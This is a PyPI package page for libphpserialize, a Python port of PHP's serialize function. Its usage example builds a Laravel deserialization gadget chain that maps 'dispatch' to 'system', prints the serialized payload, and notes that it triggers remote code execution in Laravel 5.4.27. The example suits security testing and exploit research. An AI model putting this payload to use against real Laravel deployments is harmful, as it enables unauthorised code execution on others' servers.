Skip to main content

libphpserialize

A port of PHP's serialize function, in pure python

Installation

pip install libphpserialize

Features

  • serialize objects directly from python objects
  • nested objects
  • namespacing
  • variable Access Modifiers (public, private, protected)

Example

from phpserialize import serialize
from phpserialize.decorators import namespace
import requests


@namespace('Faker')
class Generator:
    protected_formatters = {'dispatch': 'system'}


@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
    protected_event = 'ls'
    protected_events = Generator()


print(serialize(PendingBroadcast()))

with above code, you'll get:

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}

which triggers an RCE vulnerability in Laravel 5.4.27

nice when you're writing an exploit script for others to read

Important:

  • the code is written and tested under python 3.7+
  • decimal serialization doesn't work the same as PHP does, yet

TODO

  • recursive objects support
  • reimplement decimal precision calculating algorithm from php engine

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

libphpserialize-0.0.8.tar.gz (5.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

libphpserialize-0.0.8-py3-none-any.whl (6.2 kB view details)

Uploaded Python 3

File details

Details for the file libphpserialize-0.0.8.tar.gz.

File metadata

  • Download URL: libphpserialize-0.0.8.tar.gz
  • Upload date:
  • Size: 5.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.1 CPython/3.10.6

File hashes

Hashes for libphpserialize-0.0.8.tar.gz
Algorithm Hash digest
SHA256 ad72e7ff47ddad6d576e7ff7b1ce26d0d4f0d2c0c5a578cb10c4181c39b34856
MD5 584ee1ff2b8d40641fe8e41f433c1bb4
BLAKE2b-256 7a2bd8241fec1ab38308b24cfaf53ea81ef4532fa11fa42a19d5e5e51a12e5d0

See more details on using hashes here.

File details

Details for the file libphpserialize-0.0.8-py3-none-any.whl.

File metadata

File hashes

Hashes for libphpserialize-0.0.8-py3-none-any.whl
Algorithm Hash digest
SHA256 7f2940ae00e22978076323fc7471531eb95967d45edd940fa0f014466e4d9519
MD5 93c536284e0d97df02dd552132a6098f
BLAKE2b-256 e2bdd4375797c38b53143ed9c82fdf1a25df7664dc60fa6c75c0d947aef8b693

See more details on using hashes here.

Release history Release notifications | RSS feed

This release

0.0.8 This release

2 files

0.0.7

2 files

0.0.6

2 files

0.0.5

2 files

0.0.4

2 files

0.0.3

2 files

0.0.2

2 files

0.0.1

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page